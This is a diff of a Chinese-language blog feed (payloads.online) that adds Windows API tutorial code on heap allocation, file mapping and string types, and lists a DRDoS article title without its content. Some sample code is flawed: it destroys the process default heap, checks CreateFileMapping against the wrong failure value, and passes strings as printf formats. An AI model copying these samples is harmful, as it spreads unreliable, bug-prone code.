+</span></span><span style="display:flex;"><span>VOID <span style="color:#a6e22e">P</span>(<span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span> contents) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(contents); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 堆管理 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 创建堆 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE HeapCreate( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD flOptions, +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwInitialSize, +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwMaximumSize +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> flOptions: 1.HEAP_CREATE_ENABLE_EXECUTE 代码允许执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 2.HEAP_GENERATE_EXCEPTIONS 如果分配内存失败,会产生异常 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 3.HEAP_NO_SERIALIZE 不进行连续存取 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwInitialSize: 堆的初始化大小,如果为0,则系统会自动分配一个大小。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwMaximumSize: 堆的最大值,如果为0,将是一个可增长的堆,可以达到系统能够分配的最大值。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> HANDLE hHeap <span style="color:#f92672">=</span> <span style="color:#a6e22e">HeapCreate</span>(HEAP_CREATE_ENABLE_EXECUTE, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hHeap <span style="color:#f92672">==</span> NULL) { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">P</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error HeapCreate() ...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 获取堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE GetProcessHeap(); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 函数返回堆句柄,如果返回值为NULL,获取堆失败 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> HANDLE hHeapRand <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetProcessHeap</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hHeapRand <span style="color:#f92672">==</span> NULL) { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">P</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;GetProcessHeap() : No Heap ...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 获取堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD GetProcessHeaps( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD NumberOfHeaps, // 输入参数,要获取的句柄数量 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> PHANDLE ProcessHeaps // 输出参数,句柄数组,用于保存多个句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 函数返回堆句柄,如果返回值为NULL,获取堆失败 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> CONST DWORD dwHeapMax <span style="color:#f92672">=</span> <span style="color:#ae81ff">1024</span>; +</span></span><span style="display:flex;"><span> HANDLE hHeapsNum[dwHeapMax]; +</span></span><span style="display:flex;"><span> DWORD dwHeapNum <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetProcessHeaps</span>(dwHeapMax, hHeapsNum); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Heap number : &#34;</span> <span style="color:#f92672">&lt;&lt;</span> dwHeapNum <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 为堆分配内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DECLSPEC_ALLOCATOR LPVOID HeapAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE hHeap, // 堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD dwFlags,// 内存分配标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwBytes // 分配大小(字节为单位) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwFlags: +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_GENERATE_EXCEPTIONS -&gt; 抛出异常 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_NO_SERIALIZE -&gt; 不连续存储 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_ZERO_MEMORY -&gt; 将内存块全部清零 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> LPTSTR tAlloc <span style="color:#f92672">=</span> (LPTSTR)<span style="color:#a6e22e">HeapAlloc</span>(hHeapRand, HEAP_ZERO_MEMORY, <span style="color:#ae81ff">1000</span>); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 在已分配的基础上继续分配 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DECLSPEC_ALLOCATOR LPVOID HeapReAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE hHeap, // 堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD dwFlags, // 内存分配标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> _Frees_ptr_opt_ LPVOID lpMem, // 分配内存后的位置 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwBytes // 分配大小(字节为单位) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapReAlloc</span>(hHeapRand, HEAP_ZERO_MEMORY<span style="color:#f92672">|</span> HEAP_REALLOC_IN_PLACE_ONLY, (LPVOID)tAlloc,<span style="color:#ae81ff">24</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">lstrcpy</span>((LPTSTR)tAlloc, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;HEllo&#34;</span>)); +</span></span><span style="display:flex;"><span> DWORD dwHeapSize <span style="color:#f92672">=</span> <span style="color:#a6e22e">HeapSize</span>(hHeapRand, HEAP_NO_SERIALIZE, tAlloc); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;HeapSize : &#34;</span> <span style="color:#f92672">&lt;&lt;</span> dwHeapSize <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapFree</span>(hHeapRand, HEAP_NO_SERIALIZE, tAlloc); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapDestroy</span>(hHeapRand); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Success ... </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-虚拟内存页管理">0x03 虚拟内存页管理</h2> +<h3 id="申请虚拟内存页">申请虚拟内存页</h3> +<p><strong>VirtualAlloc</strong></p>Windows 文件映射https://payloads.online/archivers/2018-12-20/windows-FileMapping/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/windows-FileMapping/<h2 id="0x00-文件映射的原理">0x00 文件映射的原理</h2> <p>文件映射(Mapping)是一种能够将文件内容映射到进程的虚拟地址空间的技术。视图(view)是一个由映射句柄开辟的一块虚拟地址空间,用于存放文件内容,当文件被映射完成后,改写视图虚拟地址空间的内容就相当于更改文件内容。</p> <p>一般情况下,当代码运行完毕后,视图将会被自动写入文件中。</p> <h2 id="0x01-文件映射的步骤">0x01 文件映射的步骤</h2> @@ -151,7 +249,154 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32 -</span></code></pr最近学习Windows编程总结https://payloads.online/archivers/2018-12-20/1/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/1/<h2 id="0x00-windows-字符编码">0x00 Windows 字符编码</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 内存映射 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// CreateFile()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// CreateFileMapping()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// MapViewofFile()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// FlushViewofFile... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Temp</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">99.txt&#34;</span>), GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hFile <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBox</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;CreateFile&#34;</span>), <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error&#34;</span>), MB_OK); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> HANDLE hMap <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFileMapping</span>(hFile, NULL, PAGE_READWRITE, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1024</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;f&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hMap <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> TCHAR szBuff[<span style="color:#ae81ff">100</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;sssss</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> TCHAR <span style="color:#f92672">*</span> pFileVoid <span style="color:#f92672">=</span> (TCHAR <span style="color:#f92672">*</span>)<span style="color:#a6e22e">MapViewOfFile</span>(hMap, FILE_MAP_ALL_ACCESS, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1024</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_tcscpy_s</span>(pFileVoid, <span style="color:#a6e22e">_countof</span>(szBuff), szBuff); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(pFileVoid); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hMap); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hFile); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-api-list">0x03 API List</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>HANDLE WINAPI <span style="color:#a6e22e">CreateFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCTSTR lpFileName, +</span></span><span style="display:flex;"><span> _In_ DWORD dwDesiredAccess, +</span></span><span style="display:flex;"><span> _In_ DWORD dwShareMode, +</span></span><span style="display:flex;"><span> _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, +</span></span><span style="display:flex;"><span> _In_ DWORD dwCreationDisposition, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFlagsAndAttributes, +</span></span><span style="display:flex;"><span> _In_opt_ HANDLE hTemplateFile +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>HANDLE WINAPI <span style="color:#a6e22e">CreateFileMapping</span>( +</span></span><span style="display:flex;"><span> _In_ HANDLE hFile, +</span></span><span style="display:flex;"><span> _In_opt_ LPSECURITY_ATTRIBUTES lpAttributes, +</span></span><span style="display:flex;"><span> _In_ DWORD flProtect, +</span></span><span style="display:flex;"><span> _In_ DWORD dwMaximumSizeHigh, +</span></span><span style="display:flex;"><span> _In_ DWORD dwMaximumSizeLow, +</span></span><span style="display:flex;"><span> _In_opt_ LPCTSTR lpName +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>LPVOID WINAPI <span style="color:#a6e22e">MapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ HANDLE hFileMappingObject, +</span></span><span style="display:flex;"><span> _In_ DWORD dwDesiredAccess, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFileOffsetHigh, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFileOffsetLow, +</span></span><span style="display:flex;"><span> _In_ SIZE_T dwNumberOfBytesToMap +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">FlushViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress, +</span></span><span style="display:flex;"><span> _In_ SIZE_T dwNumberOfBytesToFlush +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">UnmapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">UnmapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x04-创建一个超大文件">0x04 创建一个超大文件</h2> +<p>在写Example的过程中,我发现申请映射的内存空间会把每个字节写入文件中。</p>最近学习Windows编程总结https://payloads.online/archivers/2018-12-20/1/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/1/<h2 id="0x00-windows-字符编码">0x00 Windows 字符编码</h2> <p>目前Windows最常见的字符集:</p> <ul> <li>1.ASCII</li> @@ -180,7 +425,65 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></pr使用C语言发送伪造源IP的UDP请求及DRDOS拒绝服务攻击原理剖析https://payloads.online/archivers/2018-03-04/1/Sun, 04 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-04/1/<h2 id="0x01-什么是drdos">0x01 什么是DRDOS</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>CHAR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">char</span> +</span></span><span style="display:flex;"><span>PSTR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> +</span></span><span style="display:flex;"><span>WCHAR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">wchar_t</span> +</span></span><span style="display:flex;"><span>PWSTR <span style="color:#f92672">-&gt;</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span> +</span></span><span style="display:flex;"><span>TCHAR <span style="color:#f92672">-&gt;</span> <span style="color:#960050;background-color:#1e0010">一个宏,当前是什么字符集,编译出来就是什么字符集</span> +</span></span><span style="display:flex;"><span>PTSTR <span style="color:#f92672">-&gt;</span> TCHAR <span style="color:#f92672">*</span> (<span style="color:#960050;background-color:#1e0010">有利于跨平台</span>) +</span></span></code></pre></td></tr></table> +</div> +</div><p>开发中推荐使用“TEXT”宏与PTSTR类型的字符串指针。</p> +<h2 id="0x01-windows进程创建">0x01 Windows进程创建</h2> +<p>进程是一个程序正在运行的一个实例,它由一个内核对象和一个地址空间组成。</p> +<p>内核对象与地址空间都在4GB的虚拟内存中,内核占2GB高地址,低地址的2GB给程序的堆栈使用。</p> 